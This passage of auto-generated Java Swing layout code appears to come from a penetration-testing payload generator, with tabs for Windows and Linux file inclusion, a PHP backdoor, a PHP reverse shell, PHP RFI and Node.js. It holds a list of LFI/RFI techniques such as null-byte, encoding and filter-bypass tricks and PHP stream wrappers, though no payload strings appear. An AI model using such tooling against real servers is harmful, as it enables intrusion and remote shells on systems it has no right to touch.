.addGroup(jPanel93Layout.createSequentialGroup() + .addComponent(windowsinputpara, javax.swing.GroupLayout.PREFERRED_SIZE, 239, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addComponent(jComboBox1, javax.swing.GroupLayout.PREFERRED_SIZE, 193, javax.swing.GroupLayout.PREFERRED_SIZE))))) + .addGap(0, 0, Short.MAX_VALUE))) + .addContainerGap()) + ); + jPanel93Layout.setVerticalGroup( + jPanel93Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel93Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel93Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel68) + .addComponent(jLabel65)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel93Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(windowsinputurl, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(windowsinputpara, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jComboBox1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(13, 13, 13) + .addComponent(jLabel66) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane43, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel91Layout = new javax.swing.GroupLayout(jPanel91); + jPanel91.setLayout(jPanel91Layout); + jPanel91Layout.setHorizontalGroup( + jPanel91Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel91Layout.createSequentialGroup() + .addComponent(jPanel92, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel93, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel91Layout.setVerticalGroup( + jPanel91Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel92, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel93, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout msqsqlchar2Layout = new javax.swing.GroupLayout(msqsqlchar2); + msqsqlchar2.setLayout(msqsqlchar2Layout); + msqsqlchar2Layout.setHorizontalGroup( + msqsqlchar2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel91, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + msqsqlchar2Layout.setVerticalGroup( + msqsqlchar2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel91, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + datagrapper2.addTab("Windows", msqsqlchar2); + + jPanel101.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel102.setBackground(new java.awt.Color(2, 71, 105)); + jPanel102.setForeground(new java.awt.Color(255, 255, 255)); + jPanel102.setLayout(new java.awt.GridLayout(7, 1)); + + linuxlfi.setBackground(new java.awt.Color(2, 71, 105)); + linuxlfi.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + linuxlfi.setForeground(new java.awt.Color(255, 255, 255)); + linuxlfi.setText("Generate"); + linuxlfi.setPreferredSize(new java.awt.Dimension(150, 100)); + linuxlfi.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + linuxlfiActionPerformed(evt); + } + }); + jPanel102.add(linuxlfi); + + jPanel103.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel69.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel69.setForeground(new java.awt.Color(255, 255, 255)); + jLabel69.setText("Parameter"); + + linuxinputpara.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + linuxinputparaActionPerformed(evt); + } + }); + + jLabel70.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel70.setForeground(new java.awt.Color(255, 255, 255)); + jLabel70.setText("Output"); + + linuxlfioutput.setColumns(20); + linuxlfioutput.setLineWrap(true); + linuxlfioutput.setRows(5); + linuxlfioutput.setAutoscrolls(false); + jScrollPane45.setViewportView(linuxlfioutput); + + linuxinputurl.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + linuxinputurlActionPerformed(evt); + } + }); + + jLabel71.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel71.setForeground(new java.awt.Color(255, 255, 255)); + jLabel71.setText("URL"); + + linuxcombo.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "Basics LFI", "Null byte", "Double encoding", "UTF-8 encoding", "Filter bypass tricks 1", "Filter bypass tricks 2","Filter bypass tricks 3", "Basic RFI", "RFI nullbyte", "RFI Double Encoding", "Bypass allow_url_include", "Wrapper php://filter", "Wrapper zip://", "Wrapper data://", "Wrapper expect://"})); + linuxcombo.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + linuxcomboActionPerformed(evt); + } + }); + + javax.swing.GroupLayout jPanel103Layout = new javax.swing.GroupLayout(jPanel103); + jPanel103.setLayout(jPanel103Layout); + jPanel103Layout.setHorizontalGroup( + jPanel103Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel103Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel103Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane45, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE) + .addGroup(jPanel103Layout.createSequentialGroup() + .addGroup(jPanel103Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel70) + .addGroup(jPanel103Layout.createSequentialGroup() + .addGroup(jPanel103Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(linuxinputurl, javax.swing.GroupLayout.PREFERRED_SIZE, 239, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel71)) + .addGap(34, 34, 34) + .addGroup(jPanel103Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel69, javax.swing.GroupLayout.PREFERRED_SIZE, 103, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGroup(jPanel103Layout.createSequentialGroup() + .addComponent(linuxinputpara, javax.swing.GroupLayout.PREFERRED_SIZE, 239, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addComponent(linuxcombo, javax.swing.GroupLayout.PREFERRED_SIZE, 193, javax.swing.GroupLayout.PREFERRED_SIZE))))) + .addGap(0, 0, Short.MAX_VALUE))) + .addContainerGap()) + ); + jPanel103Layout.setVerticalGroup( + jPanel103Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel103Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel103Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel71) + .addComponent(jLabel69)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel103Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(linuxinputurl, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(linuxinputpara, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(linuxcombo, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(13, 13, 13) + .addComponent(jLabel70) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane45, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel101Layout = new javax.swing.GroupLayout(jPanel101); + jPanel101.setLayout(jPanel101Layout); + jPanel101Layout.setHorizontalGroup( + jPanel101Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel101Layout.createSequentialGroup() + .addComponent(jPanel102, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel103, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel101Layout.setVerticalGroup( + jPanel101Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel102, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel103, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout msqsqlchar3Layout = new javax.swing.GroupLayout(msqsqlchar3); + msqsqlchar3.setLayout(msqsqlchar3Layout); + msqsqlchar3Layout.setHorizontalGroup( + msqsqlchar3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel101, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + msqsqlchar3Layout.setVerticalGroup( + msqsqlchar3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel101, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + datagrapper2.addTab("Linux", msqsqlchar3); + + javax.swing.GroupLayout lfiPanelLayout = new javax.swing.GroupLayout(lfiPanel); + lfiPanel.setLayout(lfiPanelLayout); + lfiPanelLayout.setHorizontalGroup( + lfiPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(datagrapper2) + ); + lfiPanelLayout.setVerticalGroup( + lfiPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(datagrapper2) + ); + + jTabbedPane1.addTab("File Inclusion", lfiPanel); + + payloadPanelchild.setBackground(new java.awt.Color(2, 71, 105)); + payloadPanelchild.setForeground(new java.awt.Color(255, 255, 255)); + payloadPanelchild.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + + jPanel24.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel26.setBackground(new java.awt.Color(2, 71, 105)); + jPanel26.setForeground(new java.awt.Color(255, 255, 255)); + jPanel26.setLayout(new java.awt.GridLayout(7, 1)); + + phpbackdoor.setBackground(new java.awt.Color(2, 71, 105)); + phpbackdoor.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + phpbackdoor.setForeground(new java.awt.Color(255, 255, 255)); + phpbackdoor.setText("Generate"); + phpbackdoor.setPreferredSize(new java.awt.Dimension(150, 100)); + phpbackdoor.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + phpbackdoorActionPerformed(evt); + } + }); + jPanel26.add(phpbackdoor); + + jPanel35.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel42.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel42.setForeground(new java.awt.Color(255, 255, 255)); + jLabel42.setText("GET variable"); + + phpbackdoorinput.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + phpbackdoorinputActionPerformed(evt); + } + }); + + jLabel43.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel43.setForeground(new java.awt.Color(255, 255, 255)); + jLabel43.setText("Output"); + + phpbackdooroutput.setColumns(20); + phpbackdooroutput.setLineWrap(true); + phpbackdooroutput.setRows(5); + phpbackdooroutput.setAutoscrolls(false); + jScrollPane32.setViewportView(phpbackdooroutput); + + javax.swing.GroupLayout jPanel35Layout = new javax.swing.GroupLayout(jPanel35); + jPanel35.setLayout(jPanel35Layout); + jPanel35Layout.setHorizontalGroup( + jPanel35Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel35Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel35Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel35Layout.createSequentialGroup() + .addGroup(jPanel35Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel42) + .addComponent(jLabel43)) + .addGap(0, 0, Short.MAX_VALUE)) + .addComponent(phpbackdoorinput) + .addComponent(jScrollPane32, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE)) + .addContainerGap()) + ); + jPanel35Layout.setVerticalGroup( + jPanel35Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel35Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel42) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(phpbackdoorinput, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel43) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane32, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel24Layout = new javax.swing.GroupLayout(jPanel24); + jPanel24.setLayout(jPanel24Layout); + jPanel24Layout.setHorizontalGroup( + jPanel24Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel24Layout.createSequentialGroup() + .addComponent(jPanel26, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel35, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel24Layout.setVerticalGroup( + jPanel24Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel26, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel35, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout md6Layout = new javax.swing.GroupLayout(md6); + md6.setLayout(md6Layout); + md6Layout.setHorizontalGroup( + md6Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel24, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + md6Layout.setVerticalGroup( + md6Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel24, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + payloadPanelchild.addTab("PHP backdoor", md6); + + jPanel27.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel28.setBackground(new java.awt.Color(2, 71, 105)); + jPanel28.setForeground(new java.awt.Color(255, 255, 255)); + jPanel28.setLayout(new java.awt.GridLayout(7, 1)); + + phpreverseshell.setBackground(new java.awt.Color(2, 71, 105)); + phpreverseshell.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + phpreverseshell.setForeground(new java.awt.Color(255, 255, 255)); + phpreverseshell.setText("Generate"); + phpreverseshell.setPreferredSize(new java.awt.Dimension(150, 100)); + phpreverseshell.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + phpreverseshellActionPerformed(evt); + } + }); + jPanel28.add(phpreverseshell); + + jPanel36.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel44.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel44.setForeground(new java.awt.Color(255, 255, 255)); + jLabel44.setText("IP"); + + phpreverseshellport.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + phpreverseshellportActionPerformed(evt); + } + }); + + jLabel45.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel45.setForeground(new java.awt.Color(255, 255, 255)); + jLabel45.setText("Output"); + + phpreverseshelloutput.setColumns(20); + phpreverseshelloutput.setLineWrap(true); + phpreverseshelloutput.setRows(5); + phpreverseshelloutput.setAutoscrolls(false); + jScrollPane33.setViewportView(phpreverseshelloutput); + + phpreverseshellip.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + phpreverseshellipActionPerformed(evt); + } + }); + + jLabel50.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel50.setForeground(new java.awt.Color(255, 255, 255)); + jLabel50.setText("Port"); + + javax.swing.GroupLayout jPanel36Layout = new javax.swing.GroupLayout(jPanel36); + jPanel36.setLayout(jPanel36Layout); + jPanel36Layout.setHorizontalGroup( + jPanel36Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel36Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel36Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane33, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE) + .addGroup(jPanel36Layout.createSequentialGroup() + .addGroup(jPanel36Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel45) + .addGroup(jPanel36Layout.createSequentialGroup() + .addGroup(jPanel36Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(phpreverseshellip, javax.swing.GroupLayout.PREFERRED_SIZE, 200, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel44)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(jPanel36Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel50) + .addComponent(phpreverseshellport, javax.swing.GroupLayout.PREFERRED_SIZE, 200, javax.swing.GroupLayout.PREFERRED_SIZE)))) + .addGap(0, 0, Short.MAX_VALUE))) + .addContainerGap()) + ); + jPanel36Layout.setVerticalGroup( + jPanel36Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel36Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel36Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel44) + .addComponent(jLabel50)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel36Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(phpreverseshellip, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(phpreverseshellport, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(13, 13, 13) + .addComponent(jLabel45) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane33, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel27Layout = new javax.swing.GroupLayout(jPanel27); + jPanel27.setLayout(jPanel27Layout); + jPanel27Layout.setHorizontalGroup( + jPanel27Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel27Layout.createSequentialGroup() + .addComponent(jPanel28, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel36, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel27Layout.setVerticalGroup( + jPanel27Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel28, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel36, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout sha2Layout = new javax.swing.GroupLayout(sha2); + sha2.setLayout(sha2Layout); + sha2Layout.setHorizontalGroup( + sha2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel27, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + sha2Layout.setVerticalGroup( + sha2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel27, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + payloadPanelchild.addTab("PHP Reverse shell", sha2); + + jPanel37.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel38.setBackground(new java.awt.Color(2, 71, 105)); + jPanel38.setForeground(new java.awt.Color(255, 255, 255)); + jPanel38.setLayout(new java.awt.GridLayout(7, 1)); + + phprfi.setBackground(new java.awt.Color(2, 71, 105)); + phprfi.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + phprfi.setForeground(new java.awt.Color(255, 255, 255)); + phprfi.setText("Generate"); + phprfi.setPreferredSize(new java.awt.Dimension(150, 100)); + phprfi.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + phprfiActionPerformed(evt); + } + }); + jPanel38.add(phprfi); + + jPanel39.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel46.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel46.setForeground(new java.awt.Color(255, 255, 255)); + jLabel46.setText("GET variable"); + + phprfiinput.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + phprfiinputActionPerformed(evt); + } + }); + + jLabel47.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel47.setForeground(new java.awt.Color(255, 255, 255)); + jLabel47.setText("Output"); + + phprfioutput.setColumns(20); + phprfioutput.setLineWrap(true); + phprfioutput.setRows(5); + phprfioutput.setAutoscrolls(false); + jScrollPane34.setViewportView(phprfioutput); + + javax.swing.GroupLayout jPanel39Layout = new javax.swing.GroupLayout(jPanel39); + jPanel39.setLayout(jPanel39Layout); + jPanel39Layout.setHorizontalGroup( + jPanel39Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel39Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel39Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel39Layout.createSequentialGroup() + .addGroup(jPanel39Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel46) + .addComponent(jLabel47)) + .addGap(0, 0, Short.MAX_VALUE)) + .addComponent(phprfiinput) + .addComponent(jScrollPane34, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE)) + .addContainerGap()) + ); + jPanel39Layout.setVerticalGroup( + jPanel39Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel39Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel46) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(phprfiinput, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel47) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane34, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel37Layout = new javax.swing.GroupLayout(jPanel37); + jPanel37.setLayout(jPanel37Layout); + jPanel37Layout.setHorizontalGroup( + jPanel37Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel37Layout.createSequentialGroup() + .addComponent(jPanel38, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel39, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel37Layout.setVerticalGroup( + jPanel37Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel38, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel39, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout sha257Layout = new javax.swing.GroupLayout(sha257); + sha257.setLayout(sha257Layout); + sha257Layout.setHorizontalGroup( + sha257Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel37, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + sha257Layout.setVerticalGroup( + sha257Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel37, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + payloadPanelchild.addTab("PHP RFI", sha257); + + jPanel40.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel41.setBackground(new java.awt.Color(2, 71, 105)); + jPanel41.setForeground(new java.awt.Color(255, 255, 255)); + jPanel41.setLayout(new java.awt.GridLayout(7, 1)); + + nodejs.setBackground(new java.awt.Color(2, 71, 105)); + nodejs.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + nodejs.setForeground(new java.awt.Color(255, 255, 255)); + nodejs.setText("Generate"); + nodejs.setPreferredSize(new java.awt.Dimension(150, 100)); + nodejs.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + nodejsActionPerformed(evt); + } + }); + jPanel41.add(nodejs); + + jPanel42.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel48.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel48.setForeground(new java.awt.Color(255, 255, 255)); + jLabel48.setText("Port"); + + nodejsinputport.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + nodejsinputportActionPerformed(evt); + } + }); + + jLabel49.setFont(new 